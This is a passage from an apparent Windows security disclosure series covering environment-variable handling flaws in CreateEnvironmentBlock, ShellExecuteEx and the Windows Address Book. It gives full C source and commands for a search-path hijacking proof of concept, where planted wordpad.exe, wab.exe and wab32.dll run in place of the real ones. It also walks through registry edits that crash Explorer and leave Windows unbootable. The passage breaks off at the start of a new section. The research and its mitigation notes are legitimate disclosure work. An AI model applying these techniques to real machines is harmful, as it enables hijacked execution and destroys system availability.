    Note: supplied with the access token of a regular user account, the Win32 function CreateEnvironmentBlock() defines the programmatic user environment variables APPDATA, LOCALAPPDATA and USERPROFILE in addition to the programmatic system environment variables, processes the non-empty persistent system and user environment variables stored in the registry keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment and HKEY_CURRENT_USER\Environment alias HKEY_USERS\‹security identifier›\Environment plus the (underlined) non-empty volatile user environment variables except USERDOMAIN and USERNAME stored in the registry keys HKEY_CURRENT_USER\Volatile Environment and HKEY_CURRENT_USER\Volatile Environment\‹session identifier›, concatenates the values of the variables Path separated by a semicolon and expands the references to SystemRoot and USERPROFILE.

    OUCH⁴: it lets a volatile user environment variable except LibPath, OS2LibPath and Path stored without value (here SystemDrive) overwrite a previously defined (persistent or programmatic) (system or user) environment variable with the same name with the value of the last non-empty volatile user environment variable processed before!

    OUCH⁵: it lets a volatile user environment variable except LibPath, OS2LibPath and Path stored with empty value (here SystemRoot) discard a previously defined (persistent or programmatic) (system or user) environment variable with the same name!

The following steps are optional – they will crash at least Explorer Explorer.exe, the graphical shell, and let it as well as other applications which use COM classes and interfaces fail to work!
  1. Compile and link the source file blunder.c overwritten in step 11. a second time, now with the preprocessor macro blunder defined:

    CL.EXE /Dblunder blunder.c advapi32.lib kernel32.lib userenv.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    advapi32.lib
    kernel32.lib
    userenv.lib
  2. Execute the console application blunder.exe built in step 14. and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
    Error message text: The operation completed successfully.
    CertUtil: -error command completed successfully.
    OUCH⁶: the graphical shell Explorer Explorer.exe crashes almost immediately, typically followed by other applications except the Command Processor Cmd.exe – log off and log on again to recover from this blunder!
  3. Compile and link the source file blunder.c overwritten in step 11. a third time, now with the preprocessor macro BLUNDER defined:

    CL.EXE /DBLUNDER blunder.c advapi32.lib kernel32.lib userenv.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    advapi32.lib
    kernel32.lib
    userenv.lib
  4. Execute the console application blunder.exe built in step 16. and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    ALLUSERSPROFILE=C:\ProgramData
    APPDATA=C:\Users\Stefan\AppData\Roaming
    BLUNDER=Blunder
    CommonProgramFiles=C:\Program Files (x86)\Common Files
    CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
    CommonProgramW6432=C:\Program Files\Common Files
    COMPUTERNAME=AMNESIAC
    ComSpec=C:\Windows\system32\cmd.exe
    DriverData=C:\Windows\System32\Drivers\DriverData
    HOMEDRIVE=C:
    HOMEPATH=\Users\Stefan
    LOCALAPPDATA=C:\Users\Stefan\AppData\Local
    LOGONSERVER=\\AMNESIAC
    NUMBER_OF_PROCESSORS=4
    OneDrive=C:\Users\Stefan\OneDrive
    OS=Blunder
    Path=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;Blunder
    PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
    PROCESSOR_ARCHITECTURE=AMD64
    PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 94 Stepping 3, GenuineIntel
    PROCESSOR_LEVEL=6
    PROCESSOR_REVISION=5e03
    ProgramData=C:\ProgramData
    ProgramFiles=C:\Program Files (x86)
    ProgramFiles(x86)=C:\Program Files (x86)
    ProgramW6432=C:\Program Files
    PSModulePath=%Program Files%\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules\
    PUBLIC=Blunder
    SESSIONNAME=Console
    SystemDrive=Blunder
    TEMP=C:\Users\Stefan\AppData\Local\Temp
    TMP=C:\Users\Stefan\AppData\Local\Temp
    USERDOMAIN_ROAMINGPROFILE=AMNESIAC
    USERPROFILE=C:\Users\Stefan
    windir=C:\Windows
    
    0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
    Error message text: The operation completed successfully.
    CertUtil: -error command completed successfully.
    Note: supplied with the access token of a regular user account, the Win32 function CreateEnvironmentBlock() defines the programmatic user environment variables APPDATA, LOCALAPPDATA and USERPROFILE in addition to the programmatic system environment variables, processes the non-empty persistent system and the (underlined) user environment variables stored in the registry keys HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment and HKEY_CURRENT_USER\Environment alias HKEY_USERS\‹security identifier›\Environment plus the non-empty volatile user environment variables except USERDOMAIN and USERNAME stored in the registry keys HKEY_CURRENT_USER\Volatile Environment and HKEY_CURRENT_USER\Volatile Environment\‹session identifier›, concatenates the values of the variables Path separated by a semicolon and expands the references to SystemRoot and USERPROFILE.

    OUCH⁷: it lets a persistent user environment variable except LibPath, OS2LibPath and Path stored without value (here SystemDrive) overwrite a previously defined (persistent or programmatic) system or programmatic user environment variable with the same name with the value of the last non-empty volatile user environment variable processed before!

    OUCH⁸: it lets a persistent user environment variable except LibPath, OS2LibPath and Path stored with empty value (here SystemRoot) discard a previously defined (persistent or programmatic) system or programmatic user environment variable with the same name!

  5. Compile and link the source file blunder.c overwritten in step 11. a last time, now with the preprocessor macros BLUNDER and blunder defined:

    CL.EXE /DBLUNDER /Dblunder blunder.c advapi32.lib kernel32.lib userenv.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    advapi32.lib
    kernel32.lib
    userenv.lib
  6. Execute the console application blunder.exe built in step 18. and evaluate its exit code:

    .\blunder.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
    Error message text: The operation completed successfully.
    CertUtil: -error command completed successfully.
    OUCH⁹: the graphical shell Explorer Explorer.exe crashes almost immediately, typically followed by other applications except the Command Processor Cmd.exe – logging off and on fails to recover from this blunder!
  7. Press the Ctrl Alt Del keyboard shortcut, click on Switch User and log on to an Administrator account, then start the Registry Editor RegEdit.exe, open the registry key HKEY_USERS\‹security identifier›\Environment that contains the registry entries BLUNDER, OS, Path, PUBLIC, SystemDrive and SystemRoot, delete them and close the Registry Editor.

    Note: the format of the security identifier is S-1-5-21-‹digits›-‹digits›-‹digits›-‹digits› for local as well as domain user accounts and S-1-11-96-‹digits›-‹digits›-‹digits›-‹digits›-‹digits›-‹digits›-‹digits›-‹digits›-‹digits›-‹digits› for Microsoft user accounts.

    Note: on Windows 8 and later versions optionally add the registry entry Path as Expandable String Value with value %USERPROFILE%\AppData\Local\Microsoft\WindowsApps if you need to use Store Apps.

  8. Press the Ctrl Alt Del keyboard shortcut again, click on Switch User and resume the previous user session, then log off and log on again to verify the successful recovery from the blunder.

  9. Log off and resume the previous Administrator session, start the Registry Editor RegEdit.exe again, open the registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment, add the registry entry SystemRoot as Expandable String Value or String Value with empty value, close the Registry Editor, log off, reboot the computer and admire the following Blue Screen of Death as well as the futile attempt of an automatic repair.

    [Screen shot of 'Blue Screen of Death' from Windows 11 24H2] [Screen shot of automatic repair failure from Windows 11 24H2]

  10. Reboot into the Windows Recovery Environment, load the registry hive C:\Windows\System32\Config\SYSTEM, remove the offending empty registry entry SystemRoot, unload the registry hive and boot the recovered Windows again:

    REG.EXE LOAD   "HKU\SYSTEM" "‹drive›:\Windows\System32\Config\SYSTEM"
    REG.EXE DELETE "HKU\SYSTEM\ControlSet00‹digit›\Control\Session Manager\Environment" /V SystemRoot /F
    REG.EXE UNLOAD "HKU\SYSTEM"
    The operation completed successfully.
    The operation completed successfully.
    The operation completed successfully.
Note: a repetition of this falsification in the 64-bit execution environment is left as an exercise to the reader.

Security Impact

The (as usual undocumented) dependency of Windows NT on the user-controlled environment variable SystemRoot is a well-known weakness, documented as CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-73: External Control of File Name or Path, CWE-426: Untrusted Search Path and CWE-427: Uncontrolled Search Path Element in the CWE – it allows well-known attacks like CAPEC-13: Subverting Environment Variable Values and CAPEC-471: Search Order Hijacking documented in the CAPEC.

Note: a proper implementation uses the NtSystemRoot[MAX_PATH] member of the KUSER_SHARED_DATA structure mapped into every process at address 0x7FFE000 to get the path name of the Windows\ directory or calls one of the Win32 functions GetAllUsersProfileDirectory(), GetDefaultUserProfileDirectory(), GetProfilesDirectory(), GetSystemDirectory(), GetSystemWindowsDirectory(), GetSystemWow64Directory(), GetUserProfileDirectory(), GetWindowsDirectory(), SHGetFolderPath() and SHGetKnownFolderPath() to determine (system) path names instead to evaluate user-controlled environment variables!

Blunder № 14

The MSDN article About Windows Address Book specifies in its Loading the WAB32.dll section:
With Microsoft Internet Explorer 4.0 or later, Wab32.dll is set in the registry at
HKLM\Software\Microsoft\WAB\DLLPath
Note: Internet Explorer 4.0 was shipped with Windows NT 4!

Windows Address Book was last shipped with Windows Server 2003 R2, its successor Windows Contacts was first shipped with Windows Vista and is still shipped with Windows 10 and Windows Server 2022 – the DLL WAB32.dll is therefore present and registered in Windows NT until today.

The MSDN article Application Registration specifies:

When the ShellExecuteEx function is called with the name of an executable file in its lpFile parameter, there are several places where the function looks for the file. We recommend registering your application in the App Paths registry subkey. Doing so avoids the need for applications to modify the system PATH environment variable.

The file is sought in the following locations:

[…] An application that is installed for per user can be registered under HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths. An application that is installed for all users of the computer can be registered under HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths.

The entries found under App Paths are used primarily for the following purposes:

If the name of a subkey of App Paths matches the file name, the Shell performs two actions:
Note: the Win32 function ShellExecute() consults both registry keys too!

OUCH⁰: both MSDN articles but fail to warn that the evaluated registry entries may reference user-controlled environment variables!

Exploitation

Perform the following 16 simple steps to show 2 trivial to exploit points of failure vulnerabilities.
  1. Start the Command Processor Cmd.exe in an arbitrary, preferable empty directory, then query the registry keys named above:

    REG.EXE QUERY HKLM\Software\Microsoft\WAB\DLLPath
    REG.EXE QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths" /C /D /F % /S
    REG.EXE QUERY "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths" /C /D /F % /S
    Note: the command lines can be copied and pasted as block into a Command Processor window.
    HKEY_LOCAL_MACHINE\Software\Microsoft\WAB\DLLPath
        (Default)    REG_EXPAND_SZ    %CommonProgramFiles%\System\wab32.dll
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\licensemanagershellext.exe
        (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\licensemanagershellext.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\mip.exe
        (Default)    REG_EXPAND_SZ    %CommonProgramFiles%\Microsoft Shared\Ink\mip.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\mplayer2.exe
        (Default)    REG_EXPAND_SZ    %ProgramFiles(x86)%\Windows Media Player\wmplayer.exe
        Path    REG_EXPAND_SZ    %ProgramFiles(x86)%\Windows Media Player
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\pbrush.exe
        (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\mspaint.exe
        Path    REG_EXPAND_SZ    %SystemRoot%\System32
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\PowerShell.exe
        (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\WindowsPowerShell\v1.0\PowerShell.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\SnippingTool.exe
        (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\SnippingTool.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\TabTip.exe
        (Default)    REG_EXPAND_SZ    %CommonProgramFiles%\microsoft shared\ink\TabTip.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\wab.exe
        (Default)    REG_EXPAND_SZ    %ProgramFiles%\Windows Mail\wab.exe
        Path    REG_EXPAND_SZ    %ProgramFiles%\Windows Mail
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\wabmig.exe
        (Default)    REG_EXPAND_SZ    %ProgramFiles%\Windows Mail\wabmig.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\wmplayer.exe
        (Default)    REG_EXPAND_SZ    %ProgramFiles(x86)%\Windows Media Player\wmplayer.exe
        Path    REG_EXPAND_SZ    %ProgramFiles(x86)%\Windows Media Player
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\WORDPAD.EXE
        (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\WRITE.EXE
        (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE"
    
    End of search: 16 match(es) found.
    
    End of search: 0 match(es) found.
    OUCH¹: the (highlighted) references to the environment variables CommonProgramFiles, ProgramFiles, ProgramFiles(x86) and SystemRoot introduce a safety as well as security hazard – they allow to tamper with the execution of WAB32.dll, MIP.exe, MPlayer2.exe, PBrush.exe, PowerShell.exe, TabTip.exe, WAB.exe, WABMig.exe, WMPlayer.exe and WordPad.exe!
  2. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

    // Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    #ifdef _DLL
    __declspec(safebuffers)
    BOOL	WINAPI	_DllMainCRTStartup(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
    {
    	WCHAR	szModule[MAX_PATH];
    	DWORD	dwModule;
    	WCHAR	szProcess[MAX_PATH];
    	DWORD	dwProcess;
    	HANDLE	hConsole;
    
    	if (dwReason != DLL_PROCESS_ATTACH)
    		return FALSE;
    
    	if (!DisableThreadLibraryCalls(hModule))
    		return FALSE;
    
    	dwModule = GetModuleFileName(hModule,
    	                             szModule,
    	                             sizeof(szModule) / sizeof(*szModule));
    
    	hConsole = GetConsoleWindow();
    
    	if (hConsole != NULL)
    	{
    		if (dwModule < sizeof(szModule) / sizeof(*szModule))
    			szModule[dwModule] = L'\n';
    
    		hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    		return WriteConsole(hConsole, szModule, ++dwModule, &dwModule, NULL);
    	}
    
    	if (dwModule < sizeof(szModule) / sizeof(*szModule))
    		szModule[dwModule] = L'\n';
    
    	dwProcess = GetModuleFileName((HMODULE) NULL,
    	                              szProcess,
    	                              sizeof(szProcess) / sizeof(*szProcess));
    
    	if (dwProcess < sizeof(szProcess) / sizeof(*szProcess))
    		szProcess[dwProcess] = L'\0';
    
    	return IDOK == MessageBoxEx(HWND_DESKTOP,
    	                            szProcess,
    	                            szModule,
    	                            MB_OKCANCEL,
    	                            MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT));
    }
    #elif 0
    __declspec(noreturn)
    VOID	CDECL	wWinMainCRTStartup(VOID)
    {
    	WCHAR	szProcess[MAX_PATH];
    	DWORD	dwProcess = GetModuleFileName((HMODULE) NULL,
    		                              szProcess,
    		                              sizeof(szProcess) / sizeof(*szProcess));
    
    	if (dwProcess < sizeof(szProcess) / sizeof(*szProcess))
    		szProcess[dwProcess] = L'\0';
    
    	dwProcess = MessageBoxEx(HWND_DESKTOP,
    	                         GetCommandLine(),
    	                         szProcess,
    	                         MB_OK,
    	                         MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT));
    
    	ExitProcess(dwProcess != 0UL ? ERROR_SUCCESS : GetLastError());
    }
    #else // _DLL
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	WCHAR	szProcess[MAX_PATH];
    	DWORD	dwProcess = GetModuleFileName((HMODULE) NULL,
    		                              szProcess,
    		                              sizeof(szProcess) / sizeof(*szProcess));
    	DWORD	dwError;
    	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (dwProcess < sizeof(szProcess) / sizeof(*szProcess))
    		szProcess[dwProcess] = L'\n';
    
    	if (!WriteConsole(hError, szProcess, ++dwProcess, &dwError, NULL))
    		dwError = GetLastError();
    	else
    		if (dwError ^= dwProcess)
    			dwError = ERROR_WRITE_FAULT;
    	//	else
    	//		dwError = ERROR_SUCCESS;
    
    	ExitProcess(dwError);
    }
    #endif // _DLL
  3. Compile and link the source file blunder.c created in step 2. twice:

    SET CL=/W4 /Zl
    SET LINK=/NODEFAULTLIB
    CL.EXE /LD /MD blunder.c kernel32.lib user32.lib
    SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    CL.EXE blunder.c kernel32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    blunder.c(11) : warning C4100: 'lpReserved' : unreferenced formal parameter
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /NODEFAULTLIB
    /out:blunder.dll
    /dll
    /implib:blunder.lib
    blunder.obj
    kernel32.lib
    user32.lib
    
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
  4. Create the directory Blunder\ with the subdirectories Outlook Express\, System\, Windows Mail\ and Windows NT\Accessories\ in the root of the system drive, then move the DLL blunder.dll built in step 3. as wab32.dll (or wab32res.dll) into the subdirectory System\, copy the console application blunder.exe built in step 3. as wab.exe into the subdirectories Outlook Express\ as well as Windows Mail\ and move it as wordpad.exe into the subdirectory Windows NT\Accessories\:

    MKDIR "%SystemDrive%\Blunder\Outlook Express"
    MKDIR "%SystemDrive%\Blunder\System"
    MKDIR "%SystemDrive%\Blunder\Windows Mail"
    MKDIR "%SystemDrive%\Blunder\Windows NT\Accessories"
    MOVE blunder.dll "%SystemDrive%\Blunder\System\wab32.dll"
    COPY blunder.exe "%SystemDrive%\Blunder\Outlook Express\wab.exe"
    COPY blunder.exe "%SystemDrive%\Blunder\Windows Mail\wab.exe"
    MOVE blunder.exe "%SystemDrive%\Blunder\Windows NT\Accessories\wordpad.exe"
    Note: the 4 subdirectories can be created anywhere, their location doesn’t matter – use for example %PUBLIC%\ or %SystemRoot%\Temp\ instead of %SystemDrive%\Blunder\!
            1 file(s) copied.
            1 file(s) copied.
  5. Overwrite the text file blunder.c created in step 2. with the following content:

    // Copyleft © 2004-2025, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    #include <shellapi.h>
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	SHELLEXECUTEINFO sei = {sizeof(sei),
    	                        SEE_MASK_NOASYNC | SEE_MASK_NOCLOSEPROCESS | SEE_MASK_NO_CONSOLE,
    	                        HWND_DESKTOP,
    	                        (LPCWSTR) NULL,
    #ifdef BLUNDER
    	                        L"WAB.exe",
    	                        L"/?",
    	                        L".",
    #else
    	                        L"WordPad.exe",
    	                        L"/?",
    	                        L"..",
    #endif
    	                        SW_SHOWNORMAL,
    	                        (HINSTANCE) NULL,
    	                        NULL,
    	                        (LPCWSTR) NULL,
    	                        HKEY_CLASSES_ROOT,
    	                        0UL,
    	                        (HANDLE) NULL,
    	                        (HANDLE) NULL};
    	DWORD	dwProcess;
    	DWORD	dwError = ERROR_SUCCESS;
    #ifndef blunder
    	if (!SetEnvironmentVariable(L"SystemRoot", (LPCWSTR) NULL))
    #elif blunder == 1
    	if (!SetEnvironmentVariable(L"ProgramFiles", L"C:\\Blunder"))
    #else
    	if (!SetEnvironmentVariable(L"CommonProgramFiles", L"C:\\Blunder")
    	 || !SetEnvironmentVariable(L"CommonProgramFiles(x86)", L"C:\\Blunder"))
    #endif
    		dwError = GetLastError();
    	else
    		if (!ShellExecuteEx(&sei))
    			dwError = GetLastError();
    		else
    		{
    			if (WaitForSingleObject(sei.hProcess, INFINITE) == WAIT_FAILED)
    				dwError = GetLastError();
    
    			if (!GetExitCodeProcess(sei.hProcess, &dwProcess))
    				dwError = GetLastError();
    			else
    				dwError = 0UL - dwProcess;
    
    			if (!CloseHandle(sei.hProcess))
    				dwError = GetLastError();
    		}
    
    	ExitProcess(dwError);
    }
  6. Compile and link the source file blunder.c overwritten in step 5. a first time:

    CL.EXE blunder.c kernel32.lib shell32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
    shell32.lib
  7. Execute the console application blunder.exe built in step 6. and evaluate its exit code:

    .\blunder.exe
    ECHO %ERRORLEVEL%
    0
    OUCH²: without the process environment variable SystemRoot defined, the Windows Wordpad Application WordPad.exe fails, but exits with code 0 instead of a proper error code!
  8. Compile and link the source file blunder.c overwritten in step 5. a second time, now with the preprocessor macro BLUNDER defined:

    CL.EXE /DBLUNDER blunder.c kernel32.lib shell32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
    shell32.lib
  9. [Screen shot of help message box from 'Windows Contacts' on Windows 7] Execute the console application blunder.exe built in step 8. and evaluate its exit code:

    .\blunder.exe
    ECHO %ERRORLEVEL%
    -1
    Note: despite the missing environment variable SystemRoot, the Windows Address Book respectively Windows Contacts application WAB.exe displays its Help message box and exits with code 1!
  10. Compile and link the source file blunder.c overwritten in step 5. a third time, now with the preprocessor macro blunder defined:

    CL.EXE /Dblunder blunder.c kernel32.lib shell32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
    shell32.lib
  11. Execute the console application blunder.exe built in step 10. and evaluate its exit code:

    .\blunder.exe
    ECHO %ERRORLEVEL%
    C:\Blunder\Windows NT\Accessories\wordpad.exe
    0
    OUCH³: with the process environment variable ProgramFiles set to the parent directory of the subdirectory Windows NT\Accessories\ created in step 4., the Win32 function ShellExecuteEx() executes an arbitrary (malicious) application named wordpad.exe from this subdirectory instead of the true %ProgramFiles%\Windows NT\Accessories\wordpad.exe respectively %ProgramFiles(x86)%\Windows NT\Accessories\wordpad.exe!
  12. Compile and link the source file blunder.c overwritten in step 5. a fourth time, now with the preprocessor macros BLUNDER and blunder defined:

    CL.EXE /DBLUNDER /Dblunder blunder.c kernel32.lib shell32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
    shell32.lib
  13. Execute the console application blunder.exe built in step 12. and evaluate its exit code:

    .\blunder.exe
    ECHO %ERRORLEVEL%
    C:\Blunder\Windows Mail\wab.exe
    0
    OUCH⁴: with the process environment variable ProgramFiles set to the parent directory of the subdirectory Outlook Express\ or Windows Mail\ created in step 4., the Win32 function ShellExecuteEx() executes an arbitrary (malicious) application named wab.exe from this subdirectory instead of the true %ProgramFiles%\Outlook Express\wab.exe respectively %ProgramFiles(x86)%\Outlook Express\wab.exe on Windows NT 4 to Windows Server 2003 R2 or %ProgramFiles%\Windows Mail\wab.exe respectively %ProgramFiles(x86)%\Windows Mail\wab.exe on Windows Vista to Windows Server 2022!
  14. Compile and link the source file blunder.c overwritten in step 5. a last time, now with the preprocessor macros BLUNDER and blunder defined as 1 and 0:

    CL.EXE /DBLUNDER /Dblunder=0 blunder.c kernel32.lib shell32.lib
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    blunder.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE
    /out:blunder.exe
    blunder.obj
    kernel32.lib
    shell32.lib
  15. Execute the console application blunder.exe built in step 14. and evaluate its exit code:

    .\blunder.exe
    ECHO %ERRORLEVEL%
    C:\Blunder\System\wab32.dll
    -1
    OUCH⁵: with the process environment variables CommonProgramFiles and CommonProgramFiles(x86) set to the parent directory of the subdirectory System\ created in step 4., the Windows Address Book respectively Windows Contacts application WAB.exe loads and executes an arbitrary (malicious) DLL named wab32.dll from this subdirectory instead of the true %CommonProgramFiles%\System\wab32.dll respectively %CommonProgramFiles(x86)%\System\wab32.dll on Windows NT 4 to Windows Server 2022!
  16. Remove the directory Blunder\ created in step 4. with its subdirectories and files:

    RMDIR /Q /S "%SystemDrive%\Blunder"
Note: an exploitation of the other about 23,456 registered path names which reference environment variables is left as an exercise to the reader!

Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Security Impact

The (as usual undocumented) dependency of Windows NT on the user-controlled environment variables CommonProgramFiles, CommonProgramFiles(x86), ProgramFiles and ProgramFiles(x86) is a well-known weakness, documented as CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-73: External Control of File Name or Path, CWE-426: Untrusted Search Path and CWE-427: Uncontrolled Search Path Element in the CWE – it allows well-known attacks like CAPEC-13: Subverting Environment Variable Values and CAPEC-471: Search Order Hijacking documented in the CAPEC.

Mitigation

Deny execution in every user-writable directory and beyond via SAFER alias Software Restriction Policies, AppLocker or Windows Defender Application Control alias App Control for Business.

Caveat: beware but of their loopholes!

Blunder № 15

The MSDN article Changing Environment Variables states:
Each process has an environment block associated with it. The environment block consists of a null-terminated block of null-terminated strings (meaning there are two null bytes at the end of the block), where each string is in the form:

name=value

All strings in the environment block must be sorted alphabetically by name. The sort is case-insensitive, Unicode order, without regard to locale. Because the equal sign is a separator, it must not be used in the name of an environment variable.

The documentation for the Win32 function SetEnvironmentStrings() states:
Sets the environment strings of the calling process (both the system and the user environment variables) for the current process.
BOOL SetEnvironmentStrings(
  [in] LPWCH NewEnvironment
);
[…]

The environment variable string using the following format:

Var1 Value1 Var2 Value2 Var3 Value3 VarN ValueN

[…]

Requirement Value
Minimum supported client Windows 10 Build 20348
Minimum supported server Windows 10 Build 20348
Header processenv.h
Library kernel32.lib
DLL kernel32.dll
OUCH⁰: the Win32 function SetEnvironmentStrings() was but introduced with Windows Server 2003 – its A and W variants were declared in the header file winbase.h shipped with the corresponding Platform SDK!

Falsification

Perform the following 3 simple steps to prove the highlighted statements of the documentations cited above wrong.
  1. Create the text file blunder.c with the following content in an arbitrary, preferable empty directory:

